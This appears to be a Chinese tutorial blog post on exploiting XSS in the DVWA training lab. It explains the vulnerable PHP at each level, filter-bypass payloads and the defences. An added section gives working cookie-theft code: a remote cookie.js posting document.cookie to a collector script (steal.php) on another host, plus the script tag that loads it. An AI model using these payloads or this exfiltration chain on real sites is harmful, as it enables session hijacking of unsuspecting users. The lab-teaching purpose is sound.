内容简介:XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击XSS不仅仅限于JavaScript,还包括flash等其它脚本语言根据恶意代码
XSS-跨站脚本攻击,在某种意义上也是一种注入型攻击
XSS不仅仅限于JavaScript,还包括flash等其它脚本语言
根据恶意代码 是否存储在服务器 中,XSS可以分为存储型的XSS(Stored)与反射型的XSS(Reflected)
DOM型的XSS由于其特殊性,是一种基于DOM树的XSS,被分为第三种
XSS(Reflected)
Low
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}
?>
#array_key_exists()函数检查数组里是否有指定的键名或索引。有返回true,没有返回false
可以看到,代码直接引用了name参数,并 没有任何的过滤与检查 ,存在明显的XSS漏洞
操作步骤
输入 <script>alert(1)</script>
可以看到成功出现弹窗
F12进入开发者模式可以看到浏览器成功将我们的输入作为HTML元素解释运行
Medium
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
Medium级别的代码相对于Low级别的代码使用 str_replace 函数将输入中的 <script> 删除
操作步骤
只删除 <script> 标签的情况是很容易绕过的:
<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入
<sCript>alert(document.cookie)</script>
3.输入其他标签,如
<IMG src=1 onerror=alert(document.cookie)>
可以看到结果:
获取到了当前用户的cookie,这结合 csrf (跨站请求伪造)攻击危害是很大的
High
代码分析
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
可以看到High级别的代码使用了 preg_replace 函数执行一个正则表达式的搜索和替换
其中 /<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i 是正则表达式 (.*) 表示贪婪匹配, /i 表示不区分大小写
所以在High级别的代码中,所有关于 <script> 标签均被过滤删除了
操作步骤
虽然 <script> 标签不管用了,但是可以使用其他标签绕过
输入 <IMG src=1 onerror=alert(document.cookie)> 同样得到Medium级别的结果
Impossible
代码分析
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到Impossible级别的代码使用 htmlspecialchars 函数把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。还加入了 Anti-CSRF token ,防止结合 csrf 攻击
分析总结
虽然利用了 htmlspecialchars() 函数将用户的输入进行过滤,但是在特定情况下需要用户输入一些被过滤,会丢失原始数据。且 htmlspecialchars 本质也是 黑名单过滤 ,没有绝对安全
XSS(Stored)
Low
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
函数介绍:
isset() 函数在 php 中用来检测变量是否设置,该函数返回的是布尔类型的值,即true/false
trim() 函数作用为移除字符串两侧空白字符或其他预定义字符
stripslashes() 函数用于删除字符串中的反斜杠
mysqli_real_escape_string() 函数会对字符串中的特殊符号 (\x00,\n,\r,\,',",\x1a) 进行转义
在代码中对message,name输入框内容 没有进行XSS方面的过滤和检查 。且通过 query 语句插入到数据库中。所以存在存储型XSS漏洞
操作步骤
由于name和message输入框均存在xss。但name输入框有字符限制,这里可以使用burpsuite抓包修改name输入框内容: <script>alert(document.cookie)</script>
点击Forward得到结果
F12打开开发者模式可以看到输入内容被前端html代码解析运行:
由于提交的结果存储在数据库中,所以每次刷新页面,输入的恶意代码就会被执行一次
Medium
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用 <b> 标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
htmlspecialchars() 函数把预定义的字符&、"、'、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
一顿操作对message输入内容进行检测过滤,因此无法再通过message参数注入XSS代码
但是对于name参数,只是简单过滤了<script>字符串,仍然存在存储型的XSS。
操作步骤
抓包修改name输入内容:(和之前反射型XSS-Medium级别payload一致)
1.使用双写绕过,输入<scr<script>ipt>alert(document.cookie)</script>
2.使用大小写绕过,输入
<sCript>alert(document.cookie)</script>
3.输入其他标签,如 <IMG src=1 onerror=alert(document.cookie)>
High
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
和反射型XSS-High级别代码功能一致。对name输入内容利用 正则匹配 删除所有关于 <script> 标签
操作步骤
使用其他标签: <IMG src=1 onerror=alert(document.cookie)>
Impossible
代码分析
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
在Impossible代码中同样对name内容使用 htmlspecialchars() 函数,还加入了 Anti-CSRF token ,防止结合 csrf 攻击
但是如果htmlspecialchars函数使用不当,攻击者就可以通过编码的方式绕过函数进行XSS注入,尤其是DOM型的XSS
自我总结
我们可以看到,在Reflected和Stored类型的XSS中每个级别的差异只是 过滤黑名单的完善程度 不一样。由此,总结一个按照级别分类的XSS输入的payloads
扩展-利用XSS获取用户cookie构造csrf攻击
其实,在上述例子的XSS危害只是弹窗,并不能实际获取到cookie,下面演示怎样远程获取用户cookie:
原理:
由于script标签可以加载远程服务器的javascript代码并且执行,所以在远程服务器编写一个cookie.js
document.write("<form action='http://192.168.30.135/dvwaxss/steal.php' name='exploit' method='post' style='display:none'>");
document.write("<input type='hidden' name='data' value='"+document.cookie+"'>");
document.write("</form>");
document.exploit.submit();
这段js代码的作用是在页面中构造一个隐藏表单和一个隐藏域,内容为当前的cookie,并且以post方式发送到同目录下的steal.php:
<?php
header("content-type:text/html;charset=utf-8");
$conn=mysql_connect("localhost","root","root");
mysql_select_db("dvwacookie",$conn);
if(isset($_GET['data']))
{
$sql="insert into low(cookie) values('".$_GET['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else if(isset($_POST['data']))
{
$sql="insert into low(cookie) values('".$_POST['data']."');";
$result=mysql_query($sql,$conn);
mysql_close();
}
else
{
$sql="select * from low";
$result=mysql_query($sql,$conn);
while($row=mysql_fetch_array($result))
{
echo "偷取的cookie:".$row[1]."</br>";
}
mysql_close();
}
?>
steal.php会将我们获取到的cookie存到数据库中,搞事之前先创建数据库和相应的表(字段):
create database dvwacookie;#创建数据库 use dvwacookie;#进入dvwacookie数据库 create table low(id int not null auto_increment primary key,cookie varchar(100) not null); #创建一个low表,字段id-int类型,主键,值自动增长、字段cookie
接下来在XSS漏洞位置插入:
<script src=http://192.168.50.150/dvwaxss/cookie.js></script>
就可以获取用户cookie。 参考链接在此 ,与本作者无关
XSS(DOM)
对于DOM型的XSS是一种基于DOM树的一种代码注入攻击方式,可以是反射型的,也可以是存储型的
最大的特点就是 不与后台服务器交互,只是通过浏览器的DOM树解析产生
介绍下DOM:
HTML DOM 是关于如何获取、修改、添加或删除 HTML 元素的标准
简单来说DOM主要研究的是 节点 ,所有节点可通过 javascript访问(增,删,改,查)
可能触发DOM型XSS属性:本实验中主要用到的就是 document.write 属性
document.write属性 document.referer属性 innerHTML属性 windows.name属性 location属性
Low
代码分析
<?php # No protections, anything goes ?>
可以,很直接
操作步骤
1.正常输入English和French,F12打开开发者模式可以看见
现在来分析一下<script>标签中的代码:
if (document.location.href.indexOf("default=") >= 0)
{
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
#'document.location.href.indexOf()函数截取url中指定参数后面的内容
#document.location.href.substring()函数截取字符串
#decodeURI()函数将编码过的URI进行解码
#docunment.write()可以将HTML表达式或JavaScript代码
从<script>标签的代码可以看出来其作用简单来说就是把url中的内容提取出来写入到html元素中
2.那我们直接构造url,在" default= "后加<script>alert(document.cookie)</script>
F12审查元素:
可以看到和之前正常输入相比较,第一个 option 标签,就是<script>标签中 document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>"); 改变的内容,其中: decodeURI(lang) = <script>alert(document.cookie)</script> 被解释运行
以上所述就是小编给大家介绍的《DVWA-从入门到放弃之XSS(Reflected,Stored,DOM)》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!
猜你喜欢:本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。
Where Wizards Stay Up Late
Katie Hafner / Simon & Schuster / 1998-1-21 / USD 16.00
Twenty five years ago, it didn't exist. Today, twenty million people worldwide are surfing the Net. "Where Wizards Stay Up Late" is the exciting story of the pioneers responsible for creating the most......一起来看看 《Where Wizards Stay Up Late》 这本书的介绍吧!